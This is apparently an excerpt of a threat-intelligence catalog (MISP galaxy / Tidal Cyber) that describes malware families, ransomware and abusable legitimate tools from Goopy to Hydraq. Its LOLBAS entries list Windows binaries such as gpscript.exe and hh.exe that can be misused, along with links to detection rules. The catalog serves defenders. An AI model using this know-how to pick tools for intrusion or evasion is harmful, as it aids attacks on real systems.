[Goopy](https://app.tidalcyber.com/software/a75855fd-2b6b-43d8-99a5-2be03b544f34) is a Windows backdoor and Trojan used by [APT32](https://app.tidalcyber.com/groups/c0fe9859-e8de-4ce1-bc3c-

b489e914a145) and shares several similarities to another backdoor used by the group ([Denis](https://app.tidalcyber.com/software/df4002d2-f557-4f95-af7a-9a4582fb7068)). [Goopy](https://app.tidalcyber.com/software/a75855fd-2b6b-43d8-99a5-2be03b544f34) is named for its impersonation of the legitimate Google Updater executable.^{[[Cybereason Cobalt Kitty 2017](https://app.tidalcyber.com/references/bf838a23-1620-4668-807a-4354083d69b1)]}

The tag is: *misp-galaxy:software="Goopy"*

GooseEgg

GooseEgg is a custom tool developed by Russian espionage group Forest Blizzard that is designed for privilege escalation and credential access purposes. GooseEgg exploits CVE-2022-38028, a vulnerability in the Windows Print Spooler service. Researchers describe the tool as a "simple" launcher application, but a range of subsequent post-exploitation actions are possible, including remote code execution, backdoor deployment, and lateral movement within the compromised network.^{[[Microsoft Security Blog 4 22 2024](/references/050ff793-d81d-499f-a136-905e76bce321)]}

The tag is: *misp-galaxy:software="GooseEgg"*

Gootloader

[Gootloader](https://app.tidalcyber.com/software/b18a505f-16ca-5b51-9bed-ae05b47c7706) is a Javascript-based infection framework that has been used since at least 2020 as a delivery method for the Gootkit banking trojan, [Cobalt Strike](https://app.tidalcyber.com/software/9b6bcbba-3ab4-4a4c-a233-cd12254823f6), [REvil](https://app.tidalcyber.com/software/9314531e-bf46-4cba-9c19-198279ccf9cd), and others. [Gootloader](https://app.tidalcyber.com/software/b18a505f-16ca-5b51-9bed-ae05b47c7706) operates on an "Initial Access as a Service" model and has leveraged [SEO Poisoning](https://app.tidalcyber.com/technique/68d5de9f-ca86-4bd3-bf69-524d82f7bc7a) to provide access to entities in multiple sectors worldwide including financial, military, automotive, pharmaceutical, and energy.^{[[Sophos Gootloader](https://app.tidalcyber.com/references/63357292-0f08-4405-a45a-34b606ab7110)]}^{[[SentinelOne Gootloader June 2021](https://app.tidalcyber.com/references/8512c5fd-2ddc-5de4-bb7d-8012402efbb5)]}

The tag is: *misp-galaxy:software="Gootloader"*

gorilla/mux

Package gorilla/mux implements a request router and dispatcher for matching incoming requests to their respective handler.^{[[GitHub October 2 2012](/references/3df976c0-a6c0-4620-b39e-801721c68798)]}

The tag is: *misp-galaxy:software="gorilla/mux"*

GoToAssist

GoToAssist is a legitimate remote access tool that adversaries like Carbon Spider (FIN7) have

abused for malicious purposes including command and control and exfiltration.^{[[CrowdStrike Carbon Spider August 2021](/references/36f0ddb0-94af-494c-ad10-9d3f75d1d810)]}

The tag is: *misp-galaxy:software="GoToAssist"*

Gpscript

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by group policy to process scripts

Author: Oddvar Moe

Paths: * C:\Windows\System32\gpscript.exe * C:\Windows\SysWOW64\gpscript.exe

Resources: * https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/

Detection: * Sigma: [proc_creation_win_lolbin_gpscript.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml) * IOC: Scripts added in local group policy * IOC: Execution of Gpscript.exe after logon^{[[Gpscript.exe - LOLBAS Project](/references/619f57d9-d93b-4e9b-aae0-6ce89d91deb6)]}

The tag is: *misp-galaxy:software="Gpscript"*

Grandoreiro

[Grandoreiro](https://app.tidalcyber.com/software/61d277f2-abdc-4f2b-b50a-10d0fe91e588) is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. [Grandoreiro](https://app.tidalcyber.com/software/61d277f2-abdc-4f2b-b50a-10d0fe91e588) has confirmed victims in Brazil, Mexico, Portugal, and Spain.^{[[Securelist Brazilian Banking Malware July 2020](https://app.tidalcyber.com/references/ccc34875-93f3-40ed-a9ee-f31b86708507)]}^{[[ESET Grandoreiro April 2020](https://app.tidalcyber.com/references/d6270492-986b-4fb6-bdbc-2e364947847c)]}

The tag is: *misp-galaxy:software="Grandoreiro"*

GraphicalProton

According to joint Cybersecurity Advisory AA23-347A (December 2023), GraphicalProton "is a simplistic backdoor that uses OneDrive, Dropbox, and randomly generated BMPs" to exchange data with its operators. During a 2023 campaign, authorities also observed a HTTPS variant of GraphicalProton that relies on HTTP requests instead of cloud-based services.^{[[U.S. CISA SVR TeamCity Exploits December 2023](/references/5f66f864-58c2-4b41-8011-61f954e04b7e)]}

The tag is: *misp-galaxy:software="GraphicalProton"*

GravityRAT

[GravityRAT](https://app.tidalcyber.com/software/08cb425d-7b7a-41dc-a897-9057ce57fea9) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are "TheMartian" and "The Invincible." According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. ^{[[Talos GravityRAT](https://app.tidalcyber.com/references/2d7a1d72-cc9a-4b0b-a89a-e24ca836879b)]}

The tag is: *misp-galaxy:software="GravityRAT"*

Green Lambert

[Green Lambert](https://app.tidalcyber.com/software/f5691425-6690-4e5e-8304-3ede9d2f5a90) is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of [Green Lambert](https://app.tidalcyber.com/software/f5691425-6690-4e5e-8304-3ede9d2f5a90) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.^{[[Kaspersky Lamberts Toolkit April 2017](https://app.tidalcyber.com/references/2be23bfb-c6fb-455e-ae88-2ae910ccef60)]}^{[[Objective See Green Lambert for OSX Oct 2021](https://app.tidalcyber.com/references/fad94973-eafa-4fdb-b7aa-22c21d894f81)]}

The tag is: *misp-galaxy:software="Green Lambert"*

grep

grep searches for PATTERNS in each FILE. PATTERNS is one or more patterns separated by newline characters, and grep prints each line that matches a pattern. Typically PATTERNS should be quoted when grep is used in a shell command.^{[[Man7.org December 29 2019](/references/7e2233de-af50-4659-90f6-36007ea2a3dc)]}

The tag is: *misp-galaxy:software="grep"*

GreyEnergy

[GreyEnergy](https://app.tidalcyber.com/software/f646e7f9-4d09-46f6-9831-54668fa20483) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://app.tidalcyber.com/software/f646e7f9-4d09-46f6-9831-54668fa20483) shares similarities with the [BlackEnergy](https://app.tidalcyber.com/software/908216c7-3ad4-4e0c-9dd3-a7ed5d1c695f) malware and is thought to be the successor of it.^{[[ESET GreyEnergy Oct 2018](https://app.tidalcyber.com/references/f3e70f41-6c22-465c-b872-a7ec5e6a3e67)]}

The tag is: *misp-galaxy:software="GreyEnergy"*

GRIFFON

[GRIFFON](https://app.tidalcyber.com/software/ad358082-d83a-4c22-81a1-6c34dd67af26) is a JavaScript backdoor used by [FIN7](https://app.tidalcyber.com/groups/4348c510-50fc-4448-ab8d-c8cededd19ff). ^{[[SecureList Griffon May 2019](https://app.tidalcyber.com/references/42e196e4-42a7-427d-a69b-d78fa6375f8c)]}

The tag is: *misp-galaxy:software="GRIFFON"*

GrimAgent

[GrimAgent](https://app.tidalcyber.com/software/c40a71d4-8592-4f82-8af5-18f763e52caf) is a backdoor that has been used before the deployment of [Ryuk](https://app.tidalcyber.com/software/8ae86854-4cdc-49eb-895a-d1fa742f7974) ransomware since at least 2020; it is likely used by [FIN6](https://app.tidalcyber.com/groups/fcaadc12-7c17-4946-a9dc-976ed610854c) and [Wizard Spider]([Group IB GrimAgent July 2021](https://app.tidalcyber.com/references/6b0dd676-3ea5-4b56-a27b-b1685787de02)]</sup>

The tag is: *misp-galaxy:software="GrimAgent"*

Grixba

Grixba is a tool used by Play Ransomware operators to scan victim networks for information discovery purposes. Grixba compiles and saves collected information into CSV files, which are then compressed with WinRAR and exfiltrated to threat actors.^{[[Symantec Play Ransomware April 19 2023](/references/a78613a5-ce17-4d11-8f2f-3e642cd7673c)]}

The tag is: *misp-galaxy:software="Grixba"*

gsecdump

[gsecdump](https://app.tidalcyber.com/software/5ffe662f-9da1-4b6f-ad3a-f296383e828c) is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. ^{[[TrueSec Gsecdump](https://app.tidalcyber.com/references/ba1d07ed-2e18-4f5f-9d44-082530946f14)]}

The tag is: *misp-galaxy:software="gsecdump"*

GuLoader

[GuLoader](https://app.tidalcyber.com/software/03e985d6-870b-4533-af13-08b1e0511444) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://app.tidalcyber.com/software/c7d0e881-80a1-49ea-9c1f-b6e53cf399a8), [Agent Tesla](https://app.tidalcyber.com/software/304650b1-a0b5-460c-9210-23a5b53815a4), [NanoCore](https://app.tidalcyber.com/software/db05dbaa-eb3a-4303-b37e-18d67e7e85a1), FormBook, and Parallax RAT.<sup>[[Unit 42 NETWIRE April 2020](https://app.tidalcyber.com/references/b42f119d-144a-470a-b9fe-

ccbf80a78fbb)]</sup>^{[[Medium Eli Salem GuLoader April 2021](https://app.tidalcyber.com/references/87c5e84a-b96d-489d-aa10-db95b78c5a93)]}

The tag is: *misp-galaxy:software="GuLoader"*

gzip

Gzip is a single-file/stream lossless data compression utility, where the resulting compressed file generally has the suffix .gz. Gzip also refers to the associated compressed data format used by the utility.^{[[gzip Homepage](/references/b00adb4c-7033-4f41-ba3a-87a2e9ac5cc6)]}

The tag is: *misp-galaxy:software="gzip"*

H1N1

[H1N1](https://app.tidalcyber.com/software/5f1602fe-a4ce-4932-9cf9-ec842f2c58f1) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. ^{[[Cisco H1N1 Part 1](https://app.tidalcyber.com/references/03a2faca-1a47-4f68-9f26-3fa98145f2ab)]}

The tag is: *misp-galaxy:software="H1N1"*

Hacking Team UEFI Rootkit

[Hacking Team UEFI Rootkit](https://app.tidalcyber.com/software/75db2ac3-901e-4b1f-9a0d-bac6562d57a3) is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. ^{[[TrendMicro Hacking Team UEFI](https://app.tidalcyber.com/references/24796535-d516-45e9-bcc7-8f03a3f3cd73)]}

The tag is: *misp-galaxy:software="Hacking Team UEFI Rootkit"*

HALFBAKED

[HALFBAKED](https://app.tidalcyber.com/software/5edf0ef7-a960-4500-8a89-8c8b4fdf8824) is a malware family consisting of multiple components intended to establish persistence in victim networks. ^{[[FireEye FIN7 April 2017](https://app.tidalcyber.com/references/6ee27fdb-1753-4fdf-af72-3295b072ff10)]}

The tag is: *misp-galaxy:software="HALFBAKED"*

HAMMERTOSS

[HAMMERTOSS](https://app.tidalcyber.com/software/cc07f03f-9919-4856-9b30-f4d88940b0ec) is a backdoor that was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) in 2015. ^{[[FireEye APT29](https://app.tidalcyber.com/references/78ead31e-7450-46e8-89cf-461ae1981994)]} <sup>[[F-Secure The Dukes](https://app.tidalcyber.com/references/

cc0dc623-ceb5-4ac6-bfbb-4f8514d45a27)]</sup>

The tag is: *misp-galaxy:software="HAMMERTOSS"*

Hancitor

[Hancitor](https://app.tidalcyber.com/software/4eee3272-07fa-48ee-a7b9-9dfee3e4550a) is a downloader that has been used by [Pony](https://app.tidalcyber.com/software/555b612e-3f0d-421d-b2a7-63eb2d1ece5f) and other information stealing malware.^{[[Threatpost Hancitor](https://app.tidalcyber.com/references/70ad77af-88aa-4f06-a9cb-df9608157841)]}^{[[FireEye Hancitor](https://app.tidalcyber.com/references/65a07c8c-5b29-445f-8f01-6e577df4ea62)]}

The tag is: *misp-galaxy:software="Hancitor"*

Hannotog

[Hannotog](https://app.tidalcyber.com/software/057645cd-795f-5f38-9e14-1c0f92615e3e) is a type of backdoor malware uniquely assoicated with [Lotus Blossom](https://app.tidalcyber.com/groups/2849455a-cf39-4a9f-bd89-c2b3c1e5dd52) operations since at least 2022.^{[[Symantec Bilbug 2022](https://app.tidalcyber.com/references/0f4f0ac1-2a0b-56a5-9ea9-c5b2d1cb8c05)]}

The tag is: *misp-galaxy:software="Hannotog"*

HAPPYWORK

[HAPPYWORK](https://app.tidalcyber.com/software/c2c31b2e-5da6-4feb-80e3-14ea6d0ea7e8) is a downloader used by [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66) to target South Korean government and financial victims in November 2016. ^{[[FireEye APT37 Feb 2018](https://app.tidalcyber.com/references/4d575c1a-4ff9-49ce-97cd-f9d0637c2271)]}

The tag is: *misp-galaxy:software="HAPPYWORK"*

HARDRAIN

[HARDRAIN](https://app.tidalcyber.com/software/ad0ae3b7-88aa-48b3-86ca-6a5d8b5309a7) is a Trojan malware variant reportedly used by the North Korean government. ^{[[US-CERT HARDRAIN March 2018](https://app.tidalcyber.com/references/ffc17fa5-e7d3-4592-b47b-e12ced0e62a4)]}

The tag is: *misp-galaxy:software="HARDRAIN"*

Havij

[Havij](https://app.tidalcyber.com/software/8bd36306-bd4b-4a76-8842-44acb0cedbcc) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has

been used by penetration testers and adversaries. ^{[[Check Point Havij Analysis](https://app.tidalcyber.com/references/2e00a539-acbe-4462-a30f-43da4e8b9c4f)]}

The tag is: *misp-galaxy:software="Havij"*

Havoc

Havoc is an advanced post-exploitation framework used by hackers to take control of a system once they've breached it. It allows attackers to run commands remotely, inject malicious processes, and access sensitive data. It is notable for its stealth, flexibility, and use of encrypted communications to avoid detection.^{[[ANY.RUN September 30 2024](/references/37815e5f-f9a4-42a4-9f32-1d68175a8a19)]}

The tag is: *misp-galaxy:software="Havoc"*

HAWKBALL

[HAWKBALL](https://app.tidalcyber.com/software/392c5a32-53b5-4ce8-a946-226cb533cc4e) is a backdoor that was observed in targeting of the government sector in Central Asia.^{[[FireEye HAWKBALL Jun 2019](https://app.tidalcyber.com/references/c88150b1-8c0a-4fc5-b5b7-11e242af1c43)]}

The tag is: *misp-galaxy:software="HAWKBALL"*

hcdLoader

[hcdLoader](https://app.tidalcyber.com/software/a7ffe1bd-45ca-4ca4-94da-3b6c583a868d) is a remote access tool (RAT) that has been used by [APT18](https://app.tidalcyber.com/groups/a0c31021-b281-4c41-9855-436768299fe7). ^{[[Dell Lateral Movement](https://app.tidalcyber.com/references/fcc9b52a-751f-4985-8c32-7aaf411706ad)]}

The tag is: *misp-galaxy:software="hcdLoader"*

HDoor

[HDoor](https://app.tidalcyber.com/software/f155b6f9-258d-4446-8867-fe5ee26d8c72) is malware that has been customized and used by the [Naikon](https://app.tidalcyber.com/groups/a80c00b2-b8b6-4780-99bb-df8fe921947d) group. ^{[[Baumgartner Naikon 2015](https://app.tidalcyber.com/references/09302b4f-7f71-4289-92f6-076c685f0810)]}

The tag is: *misp-galaxy:software="HDoor"*

HELLOKITTY

[HELLOKITTY](https://app.tidalcyber.com/software/813a4ca1-84fe-42dc-89de-5873d028f98d) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://app.tidalcyber.com/software/832f5ab1-1267-40c9-84ef-f32d6373be4e) and

[FIVEHANDS](https://app.tidalcyber.com/software/84187393-2fe9-4136-8720-a6893734ee8c). [HELLOKITTY](https://app.tidalcyber.com/software/813a4ca1-84fe-42dc-89de-5873d028f98d) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.^{[[FireEye FiveHands April 2021](https://app.tidalcyber.com/references/832aeb46-b248-43e8-9157-a2f56bcd1806)]}

The tag is: *misp-galaxy:software="HELLOKITTY"*

Helminth

[Helminth](https://app.tidalcyber.com/software/d6560c81-1e7e-4d01-9814-4be4fb43e655) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. ^{[[Palo Alto OilRig May 2016](https://app.tidalcyber.com/references/53836b95-a30a-4e95-8e19-e2bb2f18c738)]}

The tag is: *misp-galaxy:software="Helminth"*

HermeticWiper

[HermeticWiper](https://app.tidalcyber.com/software/f0456f14-4913-4861-b4ad-5e7f3960040e) is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.^{[[SentinelOne Hermetic Wiper February 2022](https://app.tidalcyber.com/references/96825555-1936-4ee3-bb25-423dc16a9116)]}^{[[Symantec Ukraine Wipers February 2022](https://app.tidalcyber.com/references/3ed4cd00-3387-4b80-bda8-0a190dc6353c)]}^{[[Crowdstrike DriveSlayer February 2022](https://app.tidalcyber.com/references/4f01e901-58f8-4fdb-ac8c-ef4b6bfd068e)]}^{[[ESET Hermetic Wiper February 2022](https://app.tidalcyber.com/references/07ef66e8-195b-4afe-a518-ce9e77220038)]}^{[[Qualys Hermetic Wiper March 2022](https://app.tidalcyber.com/references/2b25969b-2f0b-4204-9277-596e80c4e626)]}

The tag is: *misp-galaxy:software="HermeticWiper"*

HermeticWizard

[HermeticWizard](https://app.tidalcyber.com/software/36ddc8cd-8f80-489e-a702-c682936b5393) is a worm that has been used to spread [HermeticWiper](https://app.tidalcyber.com/software/f0456f14-4913-4861-b4ad-5e7f3960040e) in attacks against organizations in Ukraine since at least 2022.^{[[ESET Hermetic Wizard March 2022](https://app.tidalcyber.com/references/e0337ce9-2ca9-4877-b116-8c4d9d864df0)]}

The tag is: *misp-galaxy:software="HermeticWizard"*

Heyoka Backdoor

[Heyoka Backdoor](https://app.tidalcyber.com/software/1841a6e8-6c23-46a1-9c81-783746083764) is

a custom backdoor—based on the Heyoka open source exfiltration tool—that has been used by [Aoqin Dragon](https://app.tidalcyber.com/groups/454402a3-0503-45bf-b2e0-177fa2e2d412) since at least 2013.^{[[SentinelOne Aoqin Dragon June 2022](https://app.tidalcyber.com/references/b4e792e0-b1fa-4639-98b1-233aaec53594)]}^{[[Sourceforge Heyoka 2022](https://app.tidalcyber.com/references/f6677391-cb7a-4abc-abb7-3a8cd47fbc90)]}

The tag is: *misp-galaxy:software="Heyoka Backdoor"*

HFS

A portable web server program that actors use to host files for remote access and exfiltration.^{[[U.S. CISA Ghost Cring Ransomware February 19 2025](/references/d3b3cebd-3428-4d71-a81e-a7cb6248e3b7)]}

The tag is: *misp-galaxy:software="HFS"*

Hh

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary used for processing chm files in Windows

Author: Oddvar Moe

Paths: * C:\Windows\hh.exe * C:\Windows\SysWOW64\hh.exe

Resources: * https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/

Detection: * Sigma: [proc_creation_win_hh_chm_execution.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml) * Sigma: [proc_creation_win_hh_html_help_susp_child_process.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml) * Elastic: [execution_via_compiled_html_file.toml](https://github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/execution_via_compiled_html_file.toml) * Elastic: [execution_html_help_executable_program_connecting_to_the_internet.toml](https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml) * Splunk: [detect_html_help_spawn_child_process.yml](https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_spawn_child_process.yml) * Splunk: [detect_html_help_url_in_command_line.yml]([Hh.exe - LOLBAS Project](/references/4e09bfcf-f5be-46c5-9ebf-8742ac8d1edc)]</sup>

The tag is: *misp-galaxy:software="Hh"*

HiddenFace

MirrorFace's flagship backdoor with a focus on modularity, used for persistence and data exfiltration.^{[[ESET MirrorFace March 18 2025](/references/d8f4d661-ad8a-451d-9799-afe36e200bb3)]}

The tag is: *misp-galaxy:software="HiddenFace"*

HiddenWasp

[HiddenWasp](https://app.tidalcyber.com/software/ec02fb9c-bf9f-404d-bc54-819f2b3fb040) is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++.^{[[Intezer HiddenWasp Map 2019](https://app.tidalcyber.com/references/dfef8451-031b-42a6-8b78-d25950cc9d23)]}

The tag is: *misp-galaxy:software="HiddenWasp"*

HIDEDRV

[HIDEDRV](https://app.tidalcyber.com/software/ce1af464-0b14-4fe9-8591-a6fe58aa96c7) is a rootkit used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5). It has been deployed along with [Downdelph](https://app.tidalcyber.com/software/f7b64b81-f9e7-46bf-8f63-6d7520da832c) to execute and hide that malware. ^{[[ESET Sednit Part 3](https://app.tidalcyber.com/references/7c2be444-a947-49bc-b5f6-8f6bec870c6a)]} ^{[[Sekoia HideDRV Oct 2016](https://app.tidalcyber.com/references/c383811d-c036-4fe7-add8-b4d4f73b3ce4)]}

The tag is: *misp-galaxy:software="HIDEDRV"*

Hikit

[Hikit](https://app.tidalcyber.com/software/8046c80c-4339-4cfb-8bfd-464801db2bfe) is malware that has been used by [Axiom](https://app.tidalcyber.com/groups/90f4d3f9-3fe3-4a64-8dc1-172c6d037dca) for late-stage persistence and exfiltration after the initial compromise.^{[[Novetta-Axiom](https://app.tidalcyber.com/references/0dd428b9-849b-4108-87b1-20050b86f420)]}^{[[FireEye Hikit Rootkit](https://app.tidalcyber.com/references/65d751cb-fdd2-4a45-81db-8a5a11bbee62)]}

The tag is: *misp-galaxy:software="Hikit"*

Hildegard

[Hildegard](https://app.tidalcyber.com/software/7ef8cd3a-33cf-43bb-a3b8-a78fc844ce0c) is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be

behind [Hildegard](https://app.tidalcyber.com/software/7ef8cd3a-33cf-43bb-a3b8-a78fc844ce0c). ^{[[Unit 42 Hildegard Malware](https://app.tidalcyber.com/references/0941cf0e-75d8-4c96-bc42-c99d809e75f9)]}

The tag is: *misp-galaxy:software="Hildegard"*

HIUPAN

HIUPAN is a worm, one of a series of software associated with China-based espionage actor Earth Preta (aka Mustang Panda) reported by researchers in September 2024.^{[[Trend Micro September 9 2024](/references/0fdc9ee2-5be2-43e0-afb9-c9a94fde3867)]}

The tag is: *misp-galaxy:software="HIUPAN"*

Hive Ransomware

Hive is a ransomware-as-a-service (RaaS) variant first observed in June 2021.^{[[U.S. CISA Hive November 25 2022](/references/fce322e6-5e23-404a-acf8-cd003f00c79d)]} Actors deploying Hive targeted victims in a wide range of verticals. In January 2023, international authorities announced they disrupted Hive ransomware operations, seizing control of servers and websites used for communication among Hive actors and capturing Hive decryption keys.^{[[U.S. Justice Department Hive January 2023](/references/81bd5579-6a8a-40d2-b7b7-5cdb879ebdf0)]}

The tag is: *misp-galaxy:software="Hive Ransomware"*

Hi-Zor

[Hi-Zor](https://app.tidalcyber.com/software/286184d9-f28a-4d5a-a9dd-2216b3c47809) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://app.tidalcyber.com/software/a316c704-144a-4d14-8e4e-685bb6ae391c). It was used in a campaign named INOCNATION. ^{[[Fidelis Hi-Zor](https://app.tidalcyber.com/references/0c9ff201-283a-4527-8cb8-6f0d05a4f724)]}

The tag is: *misp-galaxy:software="Hi-Zor"*

HOMEFRY

[HOMEFRY](https://app.tidalcyber.com/software/16db13f2-f350-4323-96cb-c5f4ac36c3e0) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://app.tidalcyber.com/groups/eadd78e3-3b5d-430a-b994-4360b172c871) backdoors. ^{[[FireEye Periscope March 2018](https://app.tidalcyber.com/references/8edb5d2b-b5c4-4d9d-8049-43dd6ca9ab7f)]}

The tag is: *misp-galaxy:software="HOMEFRY"*

HOPLIGHT

[HOPLIGHT](https://app.tidalcyber.com/software/4d94594c-2224-46ca-8bc3-28b12ed139f9) is a backdoor Trojan that has reportedly been used by the North Korean government.^{[[US-CERT HOPLIGHT Apr 2019](https://app.tidalcyber.com/references/e722b71b-9042-4143-a156-489783d86e0a)]}

The tag is: *misp-galaxy:software="HOPLIGHT"*

HotCroissant

[HotCroissant](https://app.tidalcyber.com/software/a00e7fcc-b4e8-4f64-83d2-f9db64f0f3fe) is a remote access trojan (RAT) attributed by U.S. government entities to malicious North Korean government cyber activity, tracked collectively as HIDDEN COBRA.^{[[US-CERT HOTCROISSANT February 2020](https://app.tidalcyber.com/references/db5c816a-2a23-4966-8f0b-4ec86cae45c9)]} [HotCroissant](https://app.tidalcyber.com/software/a00e7fcc-b4e8-4f64-83d2-f9db64f0f3fe) shares numerous code similarities with [Rifdoor]([Carbon Black HotCroissant April 2020(https://app.tidalcyber.com/references/43bcb35b-56e1-47a8-9c74-f7543a25b2a6)]</sup>

The tag is: *misp-galaxy:software="HotCroissant"*

HRSword

HRSword is part of a security software suite developed by China-based Huorong Network Technology. It is designed to monitor system activity as part of endpoint protection but has been abused by ransomware crews to disable endpoint protection systems.^{[[The Register EDR Killers March 31 2025](/references/1c002ea3-0343-4fd6-a3f2-d681d00e7bd2)]}

The tag is: *misp-galaxy:software="HRSword"*

HTRAN

[HTRAN](https://app.tidalcyber.com/software/b98d9fe7-9aa3-409a-bf5c-eadb01bac948) is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. ^{[[Operation Quantum Entanglement](https://app.tidalcyber.com/references/c94f9652-32c3-4975-a9c0-48f93bdfe790)]}^{[[NCSC Joint Report Public Tools](https://app.tidalcyber.com/references/601d88c5-4789-4fa8-a9ab-abc8137f061c)]}

The tag is: *misp-galaxy:software="HTRAN"*

HTTPBrowser

[HTTPBrowser](https://app.tidalcyber.com/software/c4fe23f7-f18c-40f6-b431-0b104b497eaa) is malware that has been used by several threat groups. ^{[[ThreatStream Evasion Analysis](https://app.tidalcyber.com/references/de6bc044-6275-4cab-80a1-feefebd3c1f0)]} <sup>[[Dell TG-3390](https://app.tidalcyber.com/references/dfd2d832-a6c5-40e7-a554-

5a92f05bebae)]</sup> It is believed to be of Chinese origin. ^{[[ThreatConnect Anthem](https://app.tidalcyber.com/references/61ecd0b4-6cac-4d9f-8e8c-3d488fef6fec)]}

The tag is: *misp-galaxy:software="HTTPBrowser"*

httpclient

[httpclient](https://app.tidalcyber.com/software/bf19eba4-7ea1-4c24-95c6-6bcfb44f4c49) is malware used by [Putter Panda](https://app.tidalcyber.com/groups/6005f4a9-fe26-4237-a44e-3f6cbb1fe75c). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. ^{[[CrowdStrike Putter Panda](https://app.tidalcyber.com/references/413962d0-bd66-4000-a077-38c2677995d1)]}

The tag is: *misp-galaxy:software="httpclient"*

HUI Loader

[HUI Loader](https://app.tidalcyber.com/software/2df88e4e-5a89-5535-ae1a-4c68b19d9078) is a custom DLL loader that has been used since at least 2015 by China-based threat groups including [Cinnamon Tempest](https://app.tidalcyber.com/groups/8e059c6b-d278-5454-a234-a8ad69feb66c) and [menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322) to deploy malware on compromised hosts. [HUI Loader](https://app.tidalcyber.com/software/2df88e4e-5a89-5535-ae1a-4c68b19d9078) has been observed in campaigns loading [SodaMaster](https://app.tidalcyber.com/software/6ecd970c-427b-4421-a831-69f46047d22a), [PlugX](https://app.tidalcyber.com/software/070b56f4-7810-4dad-b85f-bdfce9c08c10), [Cobalt Strike](https://app.tidalcyber.com/software/9b6bcbba-3ab4-4a4c-a233-cd12254823f6), [Komplex](https://app.tidalcyber.com/software/2cf1be0d-2fba-4fd0-ab2f-3695716d1735), and several strains of ransomware.^{[[SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022](https://app.tidalcyber.com/references/0b275cf9-a885-58cc-b859-112090a711e3)]}

The tag is: *misp-galaxy:software="HUI Loader"*

Hunters International Ransomware

Hunters International is a ransomware operation observed in 2023 that leverages an encryptor which is believed to be heavily based on Hive ransomware code.^{[[Bitdefender Hunters International November 9 2023](/references/ae0a88d6-bd46-4b22-bfb1-25003bfe83d7)]} (In January 2023, international authorities announced they disrupted Hive ransomware operations, seizing control of servers and websites used for communication among Hive actors and capturing Hive decryption keys.^{[[U.S. Justice Department Hive January 2023](/references/81bd5579-6a8a-40d2-b7b7-5cdb879ebdf0)]})

In the absence of many technical details related to the Hunters International encryptor variant specifically, this object relfects core Techniques associated with Hive ransomware (which are themselves common among many modern ransomware strains).

The tag is: *misp-galaxy:software="Hunters International Ransomware"*

Hydraq

